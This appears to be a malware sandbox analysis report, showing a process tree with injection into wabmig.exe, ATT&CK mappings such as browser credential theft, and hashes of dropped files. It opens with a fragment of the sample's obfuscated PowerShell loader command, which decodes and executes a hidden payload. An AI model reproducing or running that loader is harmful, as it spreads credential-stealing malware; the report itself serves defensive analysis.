Ter=Coha Huc.[PainSo egyspiosUdh t VaremetrmNon..Lre CBricoMinynPulvv.ande De r Kl tApos] Lev:Brne:aut FUnspr ProoRaglmCha,BUnriaEm esharleVil,6Jose4 yggSForst MetrHazaiorkanFinkgKarr(Arch$rrgjS FortNettu ridAngeiTol,eLyntkSk ia D cmPokemR.tteF brrTig,a imotFly ePushnFormsUniv)Pris ');Festskriftet (psychosocial 'Ba,l$ arhgDi alUnproResebFr,daAlthl eva: IndCAbschFlleaB.anrTvinsAppeiovern eprg elvhPj na Com Huje= pr Honn[CharSJag yobj sDeiftproge S,gmb,st.S rbTInsieAstrxOve t,ubl.ChasEWe.lnFiskc Sc,oMayfdCresiFysin GtegNont] ya:Pa e: My.AS peSLaveC ManITyveI Af .UameGKulteSyn,tBue S riet St.rNucli EkvnDampg.awn(Skru$TakiHLockjLyr.aVerneSamllGe.npDisseBrazfhes ucolan.ondk AlttstoriP.sto Ko.nSvar2devi4 K,k)Bnkb ');Festskriftet (psychosocial 'Soue$ SpigBlowl Niso DygbUdkiaTissl.olk: KorPsodaa ReciRigtdOrgaeRefuuStadtStatiSladc FeasMidr=Spri$Was C I lhBehaaGunlrLokas K niFilen,besgSkrmhEkstaschi. Reks renuGeofbAnomsLacotTag.rMisbiafl n ChegSild(Indb$JollOTranuDetrtNo scS saaSmert NoncblothNonfeHoves Bre,Arti$forbAF rsn IngoIn.opRolllSystoReget arthBitueShifrNy.pi.oyciCowld SemaBr ceAl m)Vejr ');Festskriftet $Paideutics;"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2712
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fmc.Spn && echo t"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2292
    - - C:\Program Files (x86)\windows mail\wabmig.exe
        
        "C:\Program Files (x86)\windows mail\wabmig.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Fmc.Spn

Filesize
412KB

MD5
a7a07e3e61f4cc7add26d1d2c23b50bf

SHA1
7d63d7acb2ad8b5766ef97b28589ea6acdff58f7

SHA256
12748eb8fce4fd66ea6c6de22ee15f87f4fc911d40fd89c3cd0f1aeb0063af3a

SHA512
701899b76c64e27b987c6b50ec43c24b68c6b0583e8bece94818e3b9c92b3187ee092b3eb80d6c2d0d7aad612347d63b9abb3aa1d2f857b45eaefe0482af0e83

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SHK6M256WB18X2BIHX8I.temp

Filesize
7KB

MD5
04cc3c3b38c28635f97fe06372dcc126

SHA1
932ad9a3015470f17eb7d5eee29f605affa35771

SHA256
7dda6ffd6e790ef0b4d6edd7048ab3241fa9eb8ef3696af11b956024b747ac18

SHA512
a731aea901cb694dacf1c130d3e17649bf230bf0ec57697b6d4b68ce3f756a5318c61f3ebe64cbe4e9af626a0d08f3639432cda6e19078565e83f7d35fc26b7f

Download Submit
memory/1072-47-0x0000000000BA0000-0x0000000000BE0000-memory.dmp

Filesize
256KB

Download
memory/1072-45-0x0000000000BA0000-0x0000000001C02000-memory.dmp

Filesize
16.4MB

Download
memory/1072-22-0x0000000001C10000-0x0000000003B3C000-memory.dmp

Filesize
31.2MB

Download
memory/2196-9-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2196-10-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2196-11-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2196-13-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2196-14-0x000007FEF621E000-0x000007FEF621F000-memory.dmp

Filesize
4KB

Download
memory/2196-15-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2196-8-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2196-4-0x000007FEF621E000-0x000007FEF621F000-memory.dmp

Filesize
4KB

Download
memory/2196-7-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2196-6-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2196-46-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2196-5-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/2712-20-0x0000000006230000-0x000000000815C000-memory.dmp

Filesize
31.2MB

Download

Analysis

Sharing